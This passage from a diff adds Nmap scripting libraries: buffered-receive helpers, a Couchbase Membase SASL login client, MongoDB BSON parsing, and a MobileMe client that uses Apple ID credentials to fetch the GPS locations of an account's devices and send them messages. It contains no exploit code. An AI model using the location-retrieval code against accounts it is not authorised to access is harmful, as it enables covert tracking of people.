+ local outfile = {}
+ for j, value in ipairs(files[i]) do
+ outfile[j] = value
+ end
+ if config("human") then
+ local size = tonumber(outfile[isize])
+ -- If tonumber didn't work, it's already in human-readable format
+ if size ~= nil then
+ local iunit = 0
+ while size > 1024 and units[iunit+1] do
+ size = size / 1024
+ iunit = iunit + 1
+ end
+ if units[iunit] then
+ outfile[isize] = string.format("%.1f %s", size, units[iunit])
+ else
+ outfile[isize] = tostring(size)
+ end
+ end
+ end
+ tab.addrow(outtab, table.unpack(outfile))
+ end
+ return tab.dump(outtab)
+end
+
+--- Close current listing. Return both the structured and the human
+-- readable outputs.
+-- @param output The ls output object, from new_listing()
+-- @return Structured output
+-- @return Human readable output
+function end_listing(output)
+ assert(output["curvol"] == nil)
+ local text = {}
+ local empty = true
+ if #output["info"] == 0 then
+ output["info"] = nil
+ else
+ for _, line in ipairs(output["info"]) do
+ text[#text + 1] = line
+ end
+ empty = false
+ end
+ if #output["errors"] == 0 then
+ output["errors"] = nil
+ else
+ for _, line in ipairs(output["errors"]) do
+ text[#text + 1] = string.format("ERROR: %s", line)
+ end
+ empty = false
+ end
+ if #output["volumes"] == 0 then
+ output["volumes"] = nil
+ output["total"] = nil
+ else
+ for _, volume in ipairs(output["volumes"]) do
+ text[#text + 1] = string.format("Volume %s", volume["volume"])
+ if volume["info"] then
+ for _, line in ipairs(volume["info"]) do
+ text[#text + 1] = string.format(" %s", line)
+ end
+ end
+ if volume["errors"] then
+ for _, line in ipairs(volume["errors"]) do
+ text[#text + 1] = string.format(" ERROR: %s", line)
+ end
+ end
+ if volume["files"] then
+ text[#text + 1] = files_to_readable(volume["files"])
+ volume["files"] = files_to_structured(volume["files"])
+ end
+ text[#text + 1] = ""
+ end
+ empty = false
+ end
+ if empty then
+ return nil
+ else
+ return output, table.concat(text, "\n")
+ end
+end
+
+return _ENV
diff --git a/nselib/match.lua b/nselib/match.lua
new file mode 100644
index 0000000..a514cf8
--- /dev/null
+++ b/nselib/match.lua
@@ -0,0 +1,62 @@
+---
+-- Buffered network I/O helper functions.
+--
+-- The functions in this module can be used for delimiting data received by the
+-- <code>nmap.receive_buf</code> function in the Network I/O API (which see).
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+
+local stdnse = require "stdnse"
+local find = (require "string").find
+_ENV = stdnse.module("match", stdnse.seeall)
+
+--various functions for use with NSE's nsock:receive_buf - function
+
+-- e.g.
+-- sock:receive_buf(numbytes(80), true) - is the buffered version of
+-- sock:receive_bytes(80) - i.e. it
+-- returns exactly 80 bytes and no more
+
+--- Return a function that allows delimiting at a certain number of bytes.
+--
+-- This function can be used to get a buffered version of
+-- <code>sock:receive_bytes(n)</code> in case a script requires more than one
+-- fixed-size chunk, as the unbuffered version may return more bytes than
+-- requested and thus would require you to do the parsing on your own.
+--
+-- The <code>keeppattern</code> parameter to receive_buf should be set to
+-- <code>true</code>, otherwise the string returned will be 1 less than
+-- <code>num</code>
+-- @param num Number of bytes.
+-- @usage sock:receive_buf(match.numbytes(80), true)
+-- @see nmap.receive_buf
+numbytes = function(num)
+ local n = num
+ return function(buf)
+ if(#buf >=n) then
+ return n, n
+ end
+ return nil
+ end
+end
+
+--- Search for a pattern within a set number of bytes
+--
+-- This function behaves just like passing a pattern to receive_buf, but it
+-- will only receive a predefined number of bytes before returning the buffer.
+-- @param pattern The pattern to search for
+-- @param within The number of bytes to consume
+-- @usage sock:receive_buf(match.pattern_limit("\r\n", 80), true)
+pattern_limit = function (pattern, within)
+ local n = within
+ return function(buf)
+ local left, right = find(buf, pattern)
+ if left then
+ return left, right
+ elseif #buf >= n then
+ return n, n
+ end
+ return nil
+ end
+end
+
+return _ENV;
diff --git a/nselib/membase.lua b/nselib/membase.lua
new file mode 100644
index 0000000..9b721a6
--- /dev/null
+++ b/nselib/membase.lua
@@ -0,0 +1,337 @@
+---
+-- A smallish implementation of the Couchbase Membase TAP protocol
+-- Based on the scarce documentation from the Couchbase Wiki:
+-- * http://www.couchbase.org/wiki/display/membase/SASL+Authentication+Example
+--
+-- @args membase.authmech SASL authentication mechanism to use. Default and
+-- currently supported: PLAIN
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+
+local match = require "match"
+local nmap = require "nmap"
+local sasl = require "sasl"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+_ENV = stdnse.module("membase", stdnse.seeall)
+
+-- A minimalistic implementation of the Couchbase Membase TAP protocol
+TAP = {
+
+ -- Operations
+ Op = {
+ LIST_SASL_MECHS = 0x20,
+ AUTHENTICATE = 0x21,
+ },
+
+ -- Requests
+ Request = {
+
+ -- Header breakdown
+ -- Field (offset) (value)
+ -- Magic (0): 0x80 (PROTOCOL_BINARY_REQ)
+ -- Opcode (1): 0x00
+ -- Key length (2-3): 0x0000 (0)
+ -- Extra length (4): 0x00
+ -- Data type (5): 0x00
+ -- vbucket (6-7): 0x0000 (0)
+ -- Total body (8-11): 0x00000000 (0)
+ -- Opaque (12-15): 0x00000000 (0)
+ -- CAS (16-23): 0x0000000000000000 (0)
+ Header = {
+
+ -- Creates a new instance of Header
+ -- @param opcode number containing the operation
+ -- @return o new instance of Header
+ new = function(self, opcode)
+ local o = {
+ magic = 0x80,
+ opcode = tonumber(opcode),
+ keylen = 0x0000,
+ extlen = 0x00,
+ data_type = 0x00,
+ vbucket = 0x0000,
+ total_body = 0x00000000,
+ opaque = 0x00000000,
+ CAS = 0x0000000000000000,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the header to string
+ -- @return string containing the Header as string
+ __tostring = function(self)
+ return string.pack(">BB I2 BB I2 I4 I4 I8", self.magic, self.opcode, self.keylen,
+ self.extlen, self.data_type, self.vbucket, self.total_body,
+ self.opaque, self.CAS)
+ end,
+ },
+
+ -- List SASL authentication mechanism
+ SASLList = {
+
+ -- Creates a new instance of the request
+ -- @return o instance of request
+ new = function(self)
+ local o = {
+ -- 0x20 SASL List Mechs
+ header = TAP.Request.Header:new(TAP.Op.LIST_SASL_MECHS)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the request to string
+ -- @return string containing the request as string
+ __tostring = function(self)
+ return tostring(self.header)
+ end,
+ },
+
+ -- Authenticates using SASL
+ Authenticate = {
+
+ -- Creates a new instance of the request
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @param mech string containing the SASL mechanism, currently supported:
+ -- PLAIN - plain-text authentication
+ -- @return o instance of request
+ new = function(self, username, password, mech)
+ local o = {
+ -- 0x20 SASL List Mechs
+ header = TAP.Request.Header:new(TAP.Op.AUTHENTICATE),
+ username = username,
+ password = password,
+ mech = mech,
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Converts the request to string
+ -- @return string containing the request as string
+ __tostring = function(self)
+ if ( self.mech == "PLAIN" ) then
+ local mech_params = { self.username, self.password }
+ local auth_data = sasl.Helper:new(self.mech):encode(table.unpack(mech_params))
+
+ self.header.keylen = #self.mech
+ self.header.total_body = #auth_data + #self.mech
+ return tostring(self.header) .. self.mech .. auth_data
+ end
+ end,
+
+ }
+
+ },
+
+ -- Responses
+ Response = {
+
+ -- The response header
+ -- Header breakdown
+ -- Field (offset) (value)
+ -- Magic (0): 0x81 (PROTOCOL_BINARY_RES)
+ -- Opcode (1): 0x00
+ -- Key length (2-3): 0x0000 (0)
+ -- Extra length (4): 0x00
+ -- Data type (5): 0x00
+ -- Status (6-7): 0x0000 (SUCCESS)
+ -- Total body (8-11): 0x00000005 (5)
+ -- Opaque (12-15): 0x00000000 (0)
+ -- CAS (16-23): 0x0000000000000000 (0)
+ Header = {
+
+ -- Creates a new instance of Header
+ -- @param data string containing the raw data
+ -- @return o new instance of Header
+ new = function(self, data)
+ local o = {
+ data = data
+ }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parse the raw header and populates the class members
+ -- @return status true on success, false on failure
+ parse = function(self)
+ if ( 24 > #self.data ) then
+ stdnse.debug1("membase: Header packet too short (%d bytes)", #self.data)
+ return false, "Packet to short"
+ end
+ local pos
+ self.magic, self.opcode, self.keylen, self.extlen,
+ self.data_type, self.status, self.total_body, self.opaque,
+ self.BAI2 , pos = string.unpack(">BB I2 BB I2 I4 I4 I8", self.data)
+ return true
+ end
+
+ },
+
+ -- Decoders
+ Decoder = {
+
+ -- TAP.Op.LIST_SASL_MECHS
+ [0x20] = {
+ -- Creates a new instance of the decoder
+ -- @param data string containing the raw response
+ -- @return o instance if successfully parsed, nil on failure
+ -- the member variable <code>mechs</code> contains the
+ -- supported authentication mechanisms.
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the raw response
+ -- @return true on success
+ parse = function(self)
+ self.mechs = self.data
+ return true
+ end
+ },
+
+ -- Login response
+ [0x21] = {
+ -- Creates a new instance of the decoder
+ -- @param data string containing the raw response
+ -- @return o instance if successfully parsed, nil on failure
+ -- the member variable <code>status</code> contains the
+ -- servers authentication response.
+ new = function(self, data)
+ local o = { data = data }
+ setmetatable(o, self)
+ self.__index = self
+ if ( o:parse() ) then
+ return o
+ end
+ end,
+
+ -- Parses the raw response
+ -- @return true on success
+ parse = function(self)
+ self.status = self.data
+ return true
+ end
+ }
+
+ }
+
+ },
+
+}
+
+-- The Helper class is the main script interface
+Helper = {
+
+ -- Creates a new instance of the helper
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param options table including options to the helper, currently:
+ -- <code>timeout</code> - socket timeout in milliseconds
+ new = function(self, host, port, options)
+ local o = {
+ host = host,
+ port = port,
+ mech = stdnse.get_script_args("membase.authmech"),
+ options = options or {}
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects the socket to the server
+ -- @return true on success, false on failure
+ connect = function(self, socket)
+ self.socket = socket or nmap.new_socket()
+ self.socket:set_timeout(self.options.timeout or 10000)
+ return self.socket:connect(self.host, self.port)
+ end,
+
+ -- Closes the socket
+ close = function(self)
+ return self.socket:close()
+ end,
+
+ -- Sends a request to the server, receives and parses the response
+ -- @param req a Request instance
+ -- @return status true on success, false on failure
+ -- @return response instance of Response
+ exch = function(self, req)
+ local status, err = self.socket:send(tostring(req))
+ if ( not(status) ) then
+ return false, "Failed to send data"
+ end
+
+ local data
+ status, data = self.socket:receive_buf(match.numbytes(24), true)
+ if ( not(status) ) then
+ return false, "Failed to receive data"
+ end
+
+ local header = TAP.Response.Header:new(data)
+
+ if ( header.opcode ~= req.header.opcode ) then
+ stdnse.debug1("WARNING: Received invalid op code, request contained (%d), response contained (%d)", req.header.opcode, header.opcode)
+ end
+
+ if ( not(TAP.Response.Decoder[tonumber(header.opcode)]) ) then
+ return false, ("No response handler for opcode: %d"):format(header.opcode)
+ end
+
+ local status, data = self.socket:receive_buf(match.numbytes(header.total_body), true)
+ if ( not(status) ) then
+ return false, "Failed to receive data"
+ end
+
+ local response = TAP.Response.Decoder[tonumber(header.opcode)]:new(data)
+ if ( not(response) ) then
+ return false, "Failed to parse response from server"
+ end
+ return true, response
+ end,
+
+ -- Gets list of supported SASL authentication mechanisms
+ getSASLMechList = function(self)
+ return self:exch(TAP.Request.SASLList:new())
+ end,
+
+ -- Logins to the server
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @param mech string containing the SASL mechanism to use
+ -- @return status true on success, false on failure
+ -- @return response string containing "Auth failure" on failure
+ login = function(self, username, password, mech)
+ mech = mech or self.mech or "PLAIN"
+ local status, response = self:exch(TAP.Request.Authenticate:new(username, password, mech))
+ if ( not(status) ) then
+ return false, "Auth failure"
+ end
+ if ( response.status == "Auth failure" ) then
+ return false, response.status
+ end
+ return true, response.status
+ end,
+}
+
+
+
+return _ENV;
diff --git a/nselib/mobileme.lua b/nselib/mobileme.lua
new file mode 100644
index 0000000..34b4fec
--- /dev/null
+++ b/nselib/mobileme.lua
@@ -0,0 +1,242 @@
+local http = require "http"
+local json = require "json"
+local stdnse = require "stdnse"
+local table = require "table"
+_ENV = stdnse.module("mobileme", stdnse.seeall)
+
+---
+-- A MobileMe web service client that allows discovering Apple devices
+-- using the "find my iPhone" functionality.
+--
+-- @author Patrik Karlsson <patrik@cqure.net>
+--
+
+MobileMe = {
+
+ -- headers used in all requests
+ headers = {
+ ["Content-Type"] = "application/json; charset=utf-8",
+ ["X-Apple-Find-Api-Ver"] = "2.0",
+ ["X-Apple-Authscheme"] = "UserIdGuest",
+ ["X-Apple-Realm-Support"] = "1.0",
+ ["User-Agent"] = "Find iPhone/1.3 MeKit (iPad: iPhone OS/4.2.1)",
+ ["X-Client-Name"] = "iPad",
+ ["X-Client-UUID"] = "0cf3dc501ff812adb0b202baed4f37274b210853",
+ ["Accept-Language"] = "en-us",
+ ["Connection"] = "keep-alive"
+ },
+
+ -- Creates a MobileMe instance
+ -- @param username string containing the Apple ID username
+ -- @param password string containing the Apple ID password
+ -- @return o new instance of MobileMe
+ new = function(self, username, password)
+ local o = {
+ host = "fmipmobile.icloud.com",
+ port = 443,
+ username = username,
+ password = password
+ }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Sends a message to an iOS device
+ -- @param devid string containing the device id to which the message should
+ -- be sent
+ -- @param subject string containing the message subject
+ -- @param message string containing the message body
+ -- @param alarm boolean true if alarm should be sounded, false if not
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message (if status is false)
+ sendMessage = function(self, devid, subject, message, alarm)
+ local data = '{"clientContext":{"appName":"FindMyiPhone","appVersion":\z
+ "1.3","buildVersion":"145","deviceUDID":\z
+ "0000000000000000000000000000000000000000","inactiveTime":5911,\z
+ "osVersion":"3.2","productType":"iPad1,1","selectedDevice":"%s",\z
+ "shouldLocate":false},"device":"%s","serverContext":{\z
+ "callbackIntervalInMS":3000,"clientId":\z
+ "0000000000000000000000000000000000000000","deviceLoadStatus":"203",\z
+ "hasDevices":true,"lastSessionExtensionTime":null,"maxDeviceLoadTime":\z
+ 60000,"maxLocatingTime":90000,"preferredLanguage":"en","prefsUpdateTime":\z
+ 1276872996660,"sessionLifespan":900000,"timezone":{"currentOffset":\z
+ -25200000,"previousOffset":-28800000,"previousTransition":1268560799999,\z
+ "tzCurrentName":"Pacific Daylight Time","tzName":"America/Los_Angeles"},\z
+ "validRegion":true},"sound":%s,"subject":"%s","text":"%s"}'
+ data = data:format(devid, devid, tostring(alarm), subject, message)
+
+ local url = ("/fmipservice/device/%s/sendMessage"):format(self.username)
+ local auth = { username = self.username, password = self.password }
+
+ local response = http.post(self.host, self.port, url, { header = self.headers, auth = auth, timeout = 10000 }, nil, data)
+
+ if ( response.status == 200 ) then
+ local status, resp = json.parse(response.body)
+ if ( not(status) ) then
+ stdnse.debug2("Failed to parse JSON response from server")
+ return false, "Failed to parse JSON response from server"
+ end
+
+ if ( resp.statusCode ~= "200" ) then
+ stdnse.debug2("Failed to send message to server")
+ return false, "Failed to send message to server"
+ end
+ end
+ return true
+ end,
+
+ -- Updates location information for all devices controlled by the Apple ID
+ -- @return status true on success, false on failure
+ -- @return json parsed json table or string containing an error message on
+ -- failure
+ update = function(self)
+
+ local auth = {
+ username = self.username,
+ password = self.password
+ }
+
+ local url = ("/fmipservice/device/%s/initClient"):format(self.username)
+ local data= '{"clientContext":{"appName":"FindMyiPhone","appVersion":\z
+ "1.3","buildVersion":"145","deviceUDID":\z
+ "0000000000000000000000000000000000000000","inactiveTime":2147483647,\z
+ "osVersion":"4.2.1","personID":0,"productType":"iPad1,1"}}'
+
+ local retries = 2
+
+ local response
+ repeat
+ response = http.post(self.host, self.port, url, { header = self.headers, auth = auth }, nil, data)
+ if ( response.header["x-apple-mme-host"] ) then
+ self.host = response.header["x-apple-mme-host"]
+ end
+
+ if ( response.status == 401 ) then
+ return false, "Authentication failed"
+ elseif ( response.status ~= 200 and response.status ~= 330 ) then
+ return false, "An unexpected error occurred"
+ end
+
+ retries = retries - 1
+ until ( 200 == response.status or 0 == retries)
+
+ if ( response.status ~= 200 ) then
+ return false, "Received unexpected response from server"
+ end
+
+ local status, parsed_json = json.parse(response.body)
+
+ if ( not(status) or parsed_json.statusCode ~= "200" ) then
+ return false, "Failed to parse JSON response from server"
+ end
+
+ -- cache the parsed_json.content as devices
+ self.devices = parsed_json.content
+
+ return true, parsed_json
+ end,
+
+ -- Gets a list of devices
+ -- @return devices table containing a list of devices
+ getDevices = function(self)
+ if ( not(self.devices) ) then
+ self:update()
+ end
+ return self.devices
+ end
+}
+
+
+Helper = {
+
+
+ -- Creates a Helper instance
+ -- @param username string containing the Apple ID username
+ -- @param password string containing the Apple ID password
+ -- @return o new instance of Helper
+ new = function(self, username, password)
+ local o = {
+ mm = MobileMe:new(username, password)
+ }
+ setmetatable(o, self)
+ self.__index = self
+ o.mm:update()
+ return o
+ end,
+
+ -- Gets the geolocation from each device
+ --
+ -- @return status true on success, false on failure
+ -- @return result table containing a table of device locations
+ -- the table is indexed based on the name of the device and
+ -- contains a location table with the following fields:
+ -- * <code>longitude</code> - the GPS longitude
+ -- * <code>latitude</code> - the GPS latitude
+ -- * <code>accuracy</code> - the location accuracy
+ -- * <code>timestamp</code> - the time the location was acquired
+ -- * <code>postype</code> - the position type (GPS or WiFi)
+ -- * <code>finished</code> -
+ -- or string containing an error message on failure
+ getLocation = function(self)
+ -- do 3 tries, with a 5 second timeout to allow the location to update
+ -- there are two attributes, locationFinished and isLocating that seem
+ -- to be good candidates to monitor, but so far, I haven't had any
+ -- success with that.
+ local tries, timeout = 3, 5
+ local result = {}
+
+ repeat
+ local status, response = self.mm:update()
+
+ if ( not(status) or not(response) ) then
+ return false, "Failed to retrieve response from server"
+ end
+ for _, device in ipairs(response.content) do
+ if ( device.location ) then
+ result[device.name] = {
+ longitude = device.location.longitude,
+ latitude = device.location.latitude,
+ accuracy = device.location.horizontalAccuracy,
+ timestamp = device.location.timeStamp,
+ postype = device.location.positionType,
+ finished = device.location.locationFinished,
+ }
+ end
+ end
+ tries = tries - 1
+ if ( tries > 0 ) then
+ stdnse.sleep(timeout)
+ end
+ until( tries == 0 )
+ return true, result
+ end,
+
+ -- Gets a list of names and ids of devices associated with the Apple ID
+ -- @return status true on success, false on failure
+ -- @return table of devices containing the following fields:
+ -- <code>name</code> and <code>id</code>
+ getDevices = function(self)
+ local devices = {}
+ for _, dev in ipairs(self.mm:getDevices()) do
+ table.insert(devices, { name = dev.name, id = dev.id })
+ end
+ return true, devices
+ end,
+
+ -- Send a message to an iOS Device
+ --
+ -- @param devid string containing the device id to which the message should
+ -- be sent
+ -- @param subject string containing the message subject
+ -- @param message string containing the message body
+ -- @param alarm boolean true if alarm should be sounded, false if not
+ -- @return status true on success, false on failure
+ -- @return err string containing the error message (if status is false)
+ sendMessage = function(self, ...)
+ return self.mm:sendMessage(...)
+ end
+
+}
+
+return _ENV;
diff --git a/nselib/mongodb.lua b/nselib/mongodb.lua
new file mode 100644
index 0000000..59eb564
--- /dev/null
+++ b/nselib/mongodb.lua
@@ -0,0 +1,973 @@
+---
+-- Library methods for handling MongoDB, creating and parsing packets.
+--
+-- @author Martin Holst Swende
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- @args mongodb.db - the database to use for authentication
+
+-- Created 01/13/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+-- Revised 01/03/2012 - v0.2 - added authentication support <patrik@cqure.net>
+
+local nmap = require "nmap"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local math = require "math"
+local openssl = stdnse.silent_require "openssl"
+_ENV = stdnse.module("mongodb", stdnse.seeall)
+
+
+-- this is not yet widely implemented but at least used for authentication
+-- ideally, it would be used to set the database against which operations,
+-- that do not require a specific database, should run
+local arg_DB = stdnse.get_script_args("mongodb.db")
+
+-- Some lazy shortcuts
+
+local function dbg(str,...)
+ stdnse.debug3("MngoDb:"..str, ...)
+end
+
+----------------------------------------------------------------------
+-- First of all comes a Bson parsing library. This can easily be moved out into a separate library should other
+-- services start to use Bson
+----------------------------------------------------------------------
+-- Library methods for handling the BSON format
+--
+-- For more documentation about the BSON format,
+---and more details about its implementations, check out the
+-- python BSON implementation which is available at
+-- http://github.com/mongodb/mongo-python-driver/blob/master/bson/
+-- and licensed under the Apache License, Version 2.0 http://www.apache.org/licenses/LICENSE-2.0)
+--
+-- @author Martin Holst Swende
+-- @copyright Same as Nmap--See https://nmap.org/book/man-legal.html
+--
+-- Version 0.1
+
+-- Created 01/13/2010 - v0.1 - created by Martin Holst Swende <martin@swende.se>
+--module("bson", package.seeall)
+local function dbg_err(str,...)
+ stdnse.debug2("Bson-ERR:"..str, ...)
+end
+
+--Converts an element (key, value) into bson binary data
+--@param key the key name, must *NOT* contain . (period) or start with $
+--@param value, the element value
+--@return status : true if ok, false if error
+--@return result : the packed binary data OR error message
+local function _element_to_bson(key, value)
+
+ --Some constraints-checking
+ if type(key) ~= 'string' then
+ return false, "Documents must have only string keys, key was " .. type(key)
+ end
+ if key:sub(1,1) == "$" then
+ return false, "key must not start with $: ".. key
+ end
+ if key:find("%.") then
+ return false, ("key %s must not contain '.'"):format(tostring(key))
+ end
+
+ if type(value) == 'string' then
+ -- must null-terminate string first
+ return true, string.pack("<B z <s4", 0x02, key, value .. "\0")
+ elseif type(value) =='table' then
+ local status, bsonval = toBson(value)
+ if status then
+ bsonval = string.pack("<B z", 0x03, key) .. bsonval
+ end
+ return status, bsonval
+ elseif type(value)== 'boolean' then
+ return true, string.pack("<B z B", 0x08, key, value and 1 or 0)
+ elseif type(value) == 'number' then
+ if math.type(value) == "integer" then
+ if value > 0x7fffffff or value < -0x80000000 then -- long
+ return true, string.pack("<B z i8", 0x12, key, value)
+ else -- int32
+ return true, string.pack("<B z i4", 0x10, key, value)
+ end
+ else
+ return true, string.pack("<B z d", 0x01, key, value)
+ end
+ end
+
+ local _ = ("cannot convert value of type %s to bson"):format(type(value))
+ return false, _
+end
+
+--Converts a table of elements to binary bson format
+--@param dict the table
+--@return status : true if ok, false if error
+--@return result : a string of binary data OR error message
+function toBson(dict)
+
+ local elements = ""
+ --Put id first
+ if dict._id then
+ local status,res = _element_to_bson("_id", dict._id)
+ if not status then return false, res end
+ elements = elements..res
+ elseif ( dict._cmd ) then
+ for k, v in pairs(dict._cmd) do
+ local status,res = _element_to_bson(k, v)
+ if not status then return false, res end
+ elements = elements..res
+ end
+ end
+ --Concatenate binary values
+ for key, value in pairs( dict ) do
+ if key ~= "_id" and key ~= "_cmd" then
+ dbg("dictionary to bson : key,value =(%s,%s)",key,value)
+ local status,res = _element_to_bson(key,value)
+ if not status then return false, res end
+ elements = elements..res
+ end
+ end
+ -- Get length
+ local length = #elements + 5
+
+ if length > 4 * 1024 * 1024 then
+ return false, "document too large - BSON documents are limited to 4 MB"
+ end
+ dbg("Packet length is %d",length)
+ --Final pack
+ return true, string.pack("<I4", length) .. elements .. "\0"
+end
+
+-- Reads a null-terminated string.
+--@param data the data which starts with a c-string
+--@return the string
+--@return the remaining data (*without* null-char)
+local function get_c_string(data)
+ local nullpos, nextpos = string.find(data, "\0")
+ if not nullpos then
+ dbg_err("C-string did not contain NULL char")
+ return nil, data
+ end
+ return data:sub(1, nullpos - 1), data:sub(nextpos + 1)
+end
+
+local function get_bson_str (data)
+ local v, pos = string.unpack("<s4", data)
+ if not v or #v < 1 or v:byte(-1) ~= 0 then -- must be null-terminated
+ return nil, 0, "String not null-terminated or too short"
+ end
+ return v:sub(1,-2), pos -- strip the null
+end
+
+local function get_bson_obj (data)
+ local object, err
+
+ -- Need to know the length, to return later
+ local obj_size = string.unpack("<i4", data)
+ -- Now, get the data object
+ dbg("Recursing into bson array")
+ object, data, err = fromBson(data)
+ dbg("Recurse finished, got data object")
+ -- And return where the parsing stopped
+ return object, obj_size+1, err
+end
+
+-- @field name BSON type name
+-- @field min Minumum number of bytes that must be present to parse the value (default: string.packsize(format)
+-- @field format A format string for string.unpack, for simplest types
+-- @field parse A function to parse the value. Returns value and pos, or nil and error
+local BSON_ELEMENTS = {
+ [0x00] = { name = "EOO", format = "c0" },
+ [0x01] = { name = "BSONNUM", -- Floating point, 8 bytes
+ min = 8, format = "<d"
+ },
+ [0x02] = {name = "BSONSTR", -- string
+ min = 4,
+ parse = get_bson_str
+ },
+ [0x03] = {name = "BSONOBJ", -- object
+ min = 4,
+ parse = get_bson_obj
+ },
+ [0x04] = {name = "BSONARR", -- Array
+ min = 4,
+ parse = get_bson_obj
+ },
+ [0x05] = {name = "BSONBIN", -- BSON binary or UUID
+ min = 5,
+ parse = function (data)
+ local binlen, subtype, pos = string.unpack("<I4 B", data)
+ if subtype == 2 then
+ local sublen, pos = string.unpack("<I4", data, pos)
+ if sublen ~= binlen - 4 then
+ return nil, 0, "Binary subtype 2 length mismatch"
+ end
+ binlen = sublen
+ end
+ local binstr = string.unpack(("c%d"):format(binlen), data, pos)
+ return ("Binary subtype %d: %s"):format(subtype, stdnse.tohex(binstr)), pos + binlen
+ end
+ },
+ [0x06] = {name = "BSONUND", min = 0, parse = function () return nil, 0 end}, -- "undefined"
+ [0x07] = {name = "BSONOID", format = "c12"}, -- Object ID
+ [0x08] = {name = "BSONBOO", -- boolean
+ min = 1,
+ parse = function (data)
+ return data:byte(1) == 1, 2
+ end
+ },
+ [0x09] = {name = "BSONDAT", format = "<i8"}, -- int64, UTC datetime
+ [0x0a] = {name = "BSONNUL", min = 0, parse = function () return nil, 0 end}, -- NULL
+ [0x0b] = {name = "BSONRGX",
+ min = 2,
+ parse = function (data)
+ local pattern, flags, pos = string.unpack("zz", data)
+ return ("/%s/%s"):format(pattern, flags), pos
+ end
+ },
+ [0x0c] = {name = "BSONREF", -- DBRef (deprecated)
+ min = 13,
+ parse = function (data)
+ local collection, oid, pos = string.unpack("z c12", data)
+ return ("DBRef(%s, %s)"):format(collection, oid), pos
+ end
+ },
+ [0x0d] = {name = "BSONCOD", -- code
+ min = 4,
+ parse = get_bson_str
+ },
+ [0x0e] = {name = "BSONSYM", -- symbol (deprecated)
+ min = 4,
+ parse = get_bson_str
+ },
+ [0x0f] = {name = "BSONCWS", -- code with scope
+ min = 8,
+ parse = function (data)
+ local codeobj, pos = string.unpack("<s4", data)
+ local code, pos2 = string.unpack("<s4", codeobj)
+ local scope, _, err = fromBson(codeobj:sub(pos2))
+ if err then
+ return nil, 0, err
+ end
+ -- TODO: return an object, not a string?
+ return ("Code with scope: %s"):format(code), pos
+ end
+ },
+ [0x10] = {name = "BSONINT", format = "<i4"}, -- 32-bit int
+ [0x11] = {name = "BSONTIM",
+ min = 8,
+ parse = function (data)
+ local inc, timestamp, pos = string.unpack("<I4 I4", data)
+ return ("Timestamp(%u, %u)"):format(timestamp, inc), pos
+ end
+ },
+ [0x12] = {name = "BSONLON", format = "<i8"}, -- 64-bit long int
+ [0x13] = {name = "BSONDEC", -- 128-bit IEEE 754-2008 decimal float in Binary Integer Decimal
+ min = 16,
+ parse = function (data)
+ local bid, pos = string.unpack("c16", data)
+ return ("Decimal128(%s)"):format(stdnse.tohex(bid)), pos
+ end
+ },
+}
+-- Element parser. Parse data elements
+-- @param data String containing binary data
+-- @return Position in the data string where parsing stopped
+-- @return Unpacked value
+-- @return error string if error occurred
+local function parse(code,data)
+ local getter = BSON_ELEMENTS[code]
+ local err
+ if not getter then
+ err = ("Getter for %d not implemented"):format(code)
+ return 0, nil, err
+ end
+ dbg("Decoding %s", getter.name)
+
+ local min = 0
+ if getter.min then
+ min = getter.min
+ elseif getter.format then
+ local status, m = pcall(string.packsize, getter.format)
+ if status then
+ min = m
+ end
+ -- Set it to save time later
+ getter.min = min
+ end
+ if #data < min then
+ return 0, nil, ("Not enough bytes for %s, needed %d"):format(getter.name, min)
+ end
+
+ local status, v, pos
+ if getter.format then
+ status, v, pos = pcall(string.unpack, getter.format, data)
+ else
+ status, v, pos, err = pcall(getter.parse, data)
+ end
+ if not status then
+ -- strip the module name (e.g. /path/to/mongodb.lua:)
+ err = v:gsub(".-:", "", 1)
+ pos = 0
+ v = nil
+ end
+ return pos, v, err
+end
+
+
+-- Reads an element from binary to BSon
+--@param data a string of data to convert
+--@return Name of the element
+--@return Value of the element
+--@return Residual data not used
+--@return any error that occurred
+local function _element_to_dict(data)
+ local element_type, element_name, err, pos, value
+ --local element_size = data:byte(1)
+ element_type = data:byte(1)
+ element_name, data = get_c_string(data:sub(2))
+ if not element_name then
+ return nil, nil, data, "Bad element name"
+ end
+
+ dbg(" Read element name '%s' (type:%s), data left: %d",element_name, element_type,data:len())
+ --pos,value,err = parsers.get(element_type)(data)
+ pos,value,err = parse(element_type,data)
+ if(err ~= nil) then
+ dbg_err(err)
+ return nil,nil, data, err
+ end
+
+ data=data:sub(pos)
+
+ dbg(" Read element value '%s', data left: %d",tostring(value), data:len())
+ return element_name, value, data
+end
+
+--Reads all elements from binary to BSon
+--@param data the data to read from
+--@return the resulting table
+--@return err an error if any occurred.
+local function _elements_to_dict(data)
+ local result = {}
+ local key, value, err
+ while data and data:len() > 0 do
+ key, value, data, err = _element_to_dict(data)
+ if not key then
+ return result, ("Failed to parse element: %s"):format(err)
+ end
+ dbg("Parsed (%s='%s'), data left : %d", tostring(key),tostring(value), data:len())
+ --if type(value) ~= 'table' then value=tostring(value) end
+ result[key] = value
+ end
+ return result
+end
+
+--Checks if enough data to parse the result is captured
+--@data binary bson data read from socket
+--@return true if the full bson table is contained in the data, false if data is incomplete
+--@return required size of packet, if known, otherwise nil
+function isPacketComplete(data)
+ -- First, we check that the header is complete
+ if data:len() < 4 then
+ local err_msg = "Not enough data in buffer, at least 4 bytes header info expected"
+ return false
+ end
